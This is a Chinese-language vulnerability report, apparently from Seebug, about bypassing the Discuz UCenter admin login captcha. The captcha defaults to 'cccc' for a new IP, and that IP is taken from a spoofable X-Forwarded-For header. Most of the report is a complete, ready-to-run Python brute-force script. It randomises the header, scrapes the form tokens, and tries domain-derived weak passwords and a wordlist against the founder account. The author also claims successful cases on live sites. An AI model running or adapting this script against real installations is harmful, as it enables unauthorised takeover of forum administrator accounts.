### 简要描述: 没看源码,直接黑盒测试的。非验证码识别。 so 附上利用代码+几个成功案例。 ### 详细说明: http://192.168.1.105/discuz/uc_server/admin.php [<img src="https://images.seebug.org/upload/201410/2106555215e9de33121ac345e389897e7a033bb1.png" alt="图片1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/2106555215e9de33121ac345e389897e7a033bb1.png) 含有一个验证码 验证码的地址为 http://localhost/discuz/uc_server/admin.php?m=seccode&seccodeauth=250dIGq%2FYDhocuXf3IrsBkvB2k23JXlXAbuWr3X1liUcX94&7500 但是 经过测试发现 登录uc_server的时候 如果ip第一次出现那么 seccode的默认值为cccc 而 ip地址 是通过X-Forwarded-For 获取的。 也就是我们修改xff的ip之后,再次打开上面那个验证码url,图片的值为cccc [<img src="https://images.seebug.org/upload/201410/21071436735b1f7ae3a6d308d74b2a37b80b090e.png" alt="图片9.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/21071436735b1f7ae3a6d308d74b2a37b80b090e.png) 所以可以写一个程序通过修改X-Forwarded-For的值爆破密码。 ### 漏洞证明: 程序写好了 如下。(代码渣,见谅。)拿创始人密码做案例,管理员密码应该也可以。 <poc> ``` #coding:utf-8 import...
### 简要描述: 没看源码,直接黑盒测试的。非验证码识别。 so 附上利用代码+几个成功案例。 ### 详细说明: http://192.168.1.105/discuz/uc_server/admin.php [<img src="https://images.seebug.org/upload/201410/2106555215e9de33121ac345e389897e7a033bb1.png" alt="图片1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/2106555215e9de33121ac345e389897e7a033bb1.png) 含有一个验证码 验证码的地址为 http://localhost/discuz/uc_server/admin.php?m=seccode&seccodeauth=250dIGq%2FYDhocuXf3IrsBkvB2k23JXlXAbuWr3X1liUcX94&7500 但是 经过测试发现 登录uc_server的时候 如果ip第一次出现那么 seccode的默认值为cccc 而 ip地址 是通过X-Forwarded-For 获取的。 也就是我们修改xff的ip之后,再次打开上面那个验证码url,图片的值为cccc [<img src="https://images.seebug.org/upload/201410/21071436735b1f7ae3a6d308d74b2a37b80b090e.png" alt="图片9.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/21071436735b1f7ae3a6d308d74b2a37b80b090e.png) 所以可以写一个程序通过修改X-Forwarded-For的值爆破密码。 ### 漏洞证明: 程序写好了 如下。(代码渣,见谅。)拿创始人密码做案例,管理员密码应该也可以。 <poc> ``` #coding:utf-8 import httplib,re,random,urllib,time from sys import argv # 进行爆破 def getHtml(host,htmlhash,htmlpass,htmlseccode): ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244)) postHead={"Host":host,"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0","X-Forwarded-For":ip,'Content-Type':'application/x-www-form-urlencoded','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Connection':'keep-alive'} postContent='sid=&formhash='+htmlhash+'&seccodehidden='+htmlseccode+'&iframe=0&isfounder=1&password='+htmlpass+'&seccode=cccc&submit=%E7%99%BB+%E5%BD%95' resultHtml=httplib.HTTPConnection(host, 80, False) resultHtml.request('POST','/uc_server/admin.php?m=user&a=login',body=postContent,headers = postHead ) page=resultHtml.getresponse() pageConect=page.read() return pageConect #获取 formhash 和 seccodehidden def gethashs(host): url='http://'+host+'/uc_server/admin.php' pageContent=urllib.urlopen(url).read() r1=re.compile('<input type="hidden" name="formhash" value="(\S+)" />') htmlhash=r1.findall(pageContent)[0] r2=re.compile('<input type="hidden" name="seccodehidden" value="(\S+)" />') htmlseccode=r2.findall(pageContent)[0] return htmlhash+' '+htmlseccode #通过argv获取 host 字典 间隔时间 进行爆破 if(len(argv)==1): print '---->python '+argv[0]+' host地址 字典文件 间隔时间' print '---->python '+argv[0]+' 192.168.1.105 pass.txt 0.2' else: host=argv[1] passfile=argv[2] sleeptime=argv[3] print '网站host为 '+host #取域名 然后添加一些密码 hostuser=host.split('.') hostuser=hostuser[len(hostuser)-2] hostpass=[hostuser+'123',hostuser+'888',hostuser+hostuser,hostuser+'..',hostuser+'.',hostuser+'admin888',hostuser+'admin123',hostuser+'admin',hostuser+'123456'] print '密码字典为 '+passfile print '间隔时间为 '+sleeptime print '--->' x=gethashs(host).split(' ') f=open(passfile,'r') htmlpass=f.read().split('\r\n') htmlpass=hostpass+htmlpass f.close() for i in range(len(htmlpass)): time.sleep(float(sleeptime)) print '正在尝试密码'+htmlpass[i] if(getHtml(host,x[0],htmlpass[i],x[1])==''): print '密码为 '+htmlpass[i] break ``` </poc> [<img src="https://images.seebug.org/upload/201410/2106581228da1d4e2def35b2e89d8eac1a97ba14.png" alt="图片2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/2106581228da1d4e2def35b2e89d8eac1a97ba14.png) python dz_blast.py 192.168.1.117 pass.txt 0 192.168.1.117 新建的一个虚拟机 里面搭建的dz [<img src="https://images.seebug.org/upload/201410/21065832e3c6315987a3a5ba66db3d66ae619422.png" alt="图片3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/21065832e3c6315987a3a5ba66db3d66ae619422.png) 附上几个成功案例 手头没有这种字典,就随便添加了几个密码测试了下,都是很常见的弱口令 [<img src="https://images.seebug.org/upload/201410/21072834cff3a696266f736d98c80b413d0ffdf5.png" alt="图片1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/21072834cff3a696266f736d98c80b413d0ffdf5.png) [<img src="https://images.seebug.org/upload/201410/21070139422ab25004d40b1b536c651843d219f4.png" alt="图片6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/21070139422ab25004d40b1b536c651843d219f4.png) [<img src="https://images.seebug.org/upload/201410/2107021467b27d1e8c1c757ae2e63e517da24362.png" alt="图片7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/2107021467b27d1e8c1c757ae2e63e517da24362.png) [<img src="https://images.seebug.org/upload/201410/210702480b18292987f264beb86460c93fc6d4b9.png" alt="图片8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/210702480b18292987f264beb86460c93fc6d4b9.png)